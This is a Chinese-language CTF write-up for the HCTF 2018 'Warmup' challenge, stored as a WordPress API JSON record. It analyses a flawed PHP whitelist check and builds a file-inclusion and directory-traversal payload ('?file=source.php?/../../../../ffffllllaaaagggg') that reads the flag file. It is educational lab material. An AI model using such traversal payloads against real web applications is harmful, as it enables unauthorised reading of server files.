{"id":2350,"date":"2025-04-11T23:07:51","date_gmt":"2025-04-11T15:07:51","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2350"},"modified":"2025-04-11T23:07:53","modified_gmt":"2025-04-11T15:07:53","slug":"hctf-2018warmup-2","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/04\/11\/hctf-2018warmup-2\/","title":{"rendered":"HCTF 2018Warmup"},"content":{"rendered":"

\"Pasted<\/p>\n

\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9<\/h1>\n

\"Pasted<\/div>
\n\u68c0\u67e5\u4e00\u4e0b\u6e90\u4ee3\u7801
\n
\"Pasted<\/div>
\n\u53d1\u73b0\u4e00\u4e2aphp\u6587\u4ef6<\/p>\n

\u4e8c\u3001\u8bbf\u95eephp\u6587\u4ef6<\/h1>\n

\"Pasted<\/div>
\n\u53d1\u73b0\u4e00\u4e2ahint.php,\u8bbf\u95ee\u4e00\u4e0b\uff0c\u53d1\u73b0flag\u5728ffffllllaaaagggg\u6587\u4ef6\u91cc
\n\"Pasted<\/p>\n

\u4e09\u3001\u5206\u6790\u4ee3\u7801<\/h1>\n

1.$whitelist\u00a0=\u00a0["source"=>"source.php","hint"=>"hint.php"];<\/code>\u7ed9\u51fa\u4e86\u767d\u540d\u5355,\u662fsource.php \u548c hint.php<\/p>\n

2.(in_array($page,\u00a0$whitelist))<\/code>\u7528\u4e8e\u68c0\u6d4b$page<\/code>\u662f\u4e0d\u662f$whitelist<\/code>\u4e2d\u7684\u4e00\u4e2a\u503c\uff0c\u56e0\u4e3apayload\u4e0d\u4f1a\u53ea\u6709\u767d\u540d\u5355\u4e2d\u7684\u4e00\u4e2a\u503c\uff0c\u6240\u4ee5\u65e0\u6cd5\u6ee1\u8db3<\/p>\n

    \n
  1. <\/li>\n<\/ol>\n
    $_page = mb_substr(\n                $page,\n                0,\n                mb_strpos($page . '?', '?')\n            );\n<\/code><\/pre>\n
    mb_strpos\u51fd\u6570:  \u67e5\u627e\u5b57\u7b26\u4e32\u5728\u53e6\u4e00\u4e2a\u5b57\u7b26\u4e32\u4e2d\u9996\u6b21\u51fa\u73b0\u7684\u4f4d\u7f6e\n \nmb_strpos ($haystack , $needle , $offset )\n$haystack\uff1a\u88ab\u641c\u7d22\u7684\u5b57\u7b26\u4e32\n$needle\uff1a  \u8981\u67e5\u627e\u7684\u5b57\u7b26\u4e32\n$offset\uff1a  \u53ef\u9009\u53c2\u6570,\u6307\u5b9a\u4ece\u54ea\u4e2a\u5b57\u7b26\u5f00\u59cb\u641c\u7d22\n\/\/\u5982\u679c\u4e3a\u6b63\u6570,\u5219\u4ece\u5b57\u7b26\u4e32\u7684\u5f00\u5934\u5f00\u59cb\u8ba1\u7b97;\u5982\u679c\u662f\u8d1f\u6570,\u5219\u4ece\u5b57\u7b26\u4e32\u7684\u672b\u5c3e\u5f00\u59cb\u8ba1\u7b97\n\/\/\u6ca1\u6709\u7684\u8bdd\u9ed8\u8ba4\u662f0,\u5373\u4ece\u5f00\u5934\u5f00\u59cb\u641c\u7d22\n \nmb_substr\u51fd\u6570:  \u4ece\u4e00\u4e2a\u5b57\u7b26\u4e32\u4e2d\u63d0\u53d6\u5b50\u5b57\u7b26\u4e32\n \nmb_substr ($str , $start , $length )\n\/\/substr() \u51fd\u6570\u53ea\u9488\u5bf9\u82f1\u6587\u5b57\u7b26,\u800cmb_substr()\u5bf9\u4e8e\u4e2d\u6587\u4e5f\u9002\u7528\n$str\uff1a    \u539f\u59cb\u5b57\u7b26\u4e32\n$start\uff1a  \u8d77\u59cb\u4f4d\u7f6e,\u5982\u679c\u4e3a\u6b63\u6570,\u5219\u4ece\u5b57\u7b26\u4e32\u7684\u5f00\u5934\u5f00\u59cb\u8ba1\u7b97;\u5982\u679c\u662f\u8d1f\u6570,\u5219\u4ece\u5b57\u7b26\u4e32\u7684\u672b\u5c3e\u5f00\u59cb\u8ba1\u7b97\n$length\uff1a \u53ef\u9009\u53c2\u6570,\u8868\u793a\u8981\u63d0\u53d6\u7684\u5b50\u5b57\u7b26\u4e32\u7684\u957f\u5ea6,\u5982\u679c\u6ca1\u8d4b\u503c,\u5219\u63d0\u53d6\u4ece\u5f00\u59cb\u5230\u5b57\u7b26\u4e32\u7ed3\u675f\u7684\u6240\u6709\u5b57\u7b26\n<\/code><\/pre>\n
    \u5728\u8fd9\u91cc\uff0c\u5b83\u5c06 $page<\/code> \u53d8\u91cf\u7684\u503c\u548c\u4e00\u4e2a\u95ee\u53f7\u5b57\u7b26 ‘?’ \u8fde\u63a5\u5728\u4e00\u8d77,\u5f62\u6210\u4e00\u4e2a\u65b0\u7684\u5b57\u7b26\u4e32,\u5728\u8fd9\u4e2a\u65b0\u7684\u5b57\u7b26\u4e32\u4e2d\u67e5\u627e\u95ee\u53f7\u662f\u5426\u5b58\u5728,\u5982\u679c\u5b58\u5728\u5c31\u4f1a\u622a\u53d6\uff1f\u524d\u9762\u7684\u5b57\u7b26\u4e32\u8d4b\u4e88\u7ed9$_page<\/code><\/p>\n
    4.(in_array($_page, $whitelist))<\/code>\u5bf9$_page<\/code>\u8fdb\u884c\u68c0\u6d4b<\/p>\n
    \u7ed3\u5408\u8d77\u6765\u53d1\u73b0,\u53ea\u9700\u8981\u4f20\u5165\u4e00\u4e2a\u5728\u767d\u540d\u5355\u5185\u7684\u6587\u4ef6\u540d(source.php\u6216\u8005hint.php)\u5e76\u5728\u540e\u9762\u52a0\u4e0a\u95ee\u53f7?\u5c31\u53ef\u4ee5\u4fdd\u8bc1\u5728\u7b2c\u4e8c\u6b21if(in_array($_page, $whitelist))<\/code>\u5339\u914d\u67e5\u627e\u7684\u5185\u5bb9\u5728\u767d\u540d\u5355,\u8fd4\u56detrue,\u9000\u51facheckfile\u65b9\u6cd5<\/p>\n
    \u56db\u3001\u6784\u9020payload<\/h1>\n
    ?file=source.php?\/ffffllllaaaagggg\n<\/code><\/pre>\n
    \u8f93\u5165\uff0c\u9875\u9762\u6ca1\u6709\u56de\u663e\uff0c\u5c1d\u8bd5\u8fdb\u884c\u76ee\u5f55\u7a7f\u8d8a<\/p>\n
    ?file=source.php?\/..\/..\/..\/..\/ffffllllaaaagggg\n<\/code><\/pre>\n
    \u6210\u529f\u83b7\u53d6flag
    \n\"Pasted<\/p>\n
    \u603b\u7ed3<\/h1>\n
      \n
    • \u6587\u4ef6\u5305\u542b<\/li>\n
    • \u76ee\u5f55\u7a7f\u8d8a<\/li>\n
    • in_array\u51fd\u6570\uff1a\u5339\u914d\u8f93\u5165\u662f\u5426\u5728\u540d\u5355\u4e2d\uff0c\u4e0d\u80fd\u591a\u4e0d\u80fd\u5c11<\/li>\n
    • mb_strpos\u51fd\u6570:  \u67e5\u627e\u5b57\u7b26\u4e32\u5728\u53e6\u4e00\u4e2a\u5b57\u7b26\u4e32\u4e2d\u9996\u6b21\u51fa\u73b0\u7684\u4f4d\u7f6e<\/li>\n
    • mb_substr\u51fd\u6570:  \u4ece\u4e00\u4e2a\u5b57\u7b26\u4e32\u4e2d\u63d0\u53d6\u5b50\u5b57\u7b26\u4e32<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"
      \u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9 \u68c0\u67e5\u4e00\u4e0b\u6e90\u4ee3\u7801 \u53d1\u73b0\u4e00\u4e2aphp\u6587\u4ef6 \u4e8c\u3001\u8bbf\u95eephp\u6587\u4ef6 \u53d1\u73b0\u4e00\u4e2ahint.php,\u8bbf\u95ee\u4e00\u4e0b\uff0c\u53d1\u73b0 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[27,76],"class_list":["post-2350","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-27","tag-76"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2350","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2350"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2350\/revisions"}],"predecessor-version":[{"id":2351,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2350\/revisions\/2351"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2350"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2350"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2350"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}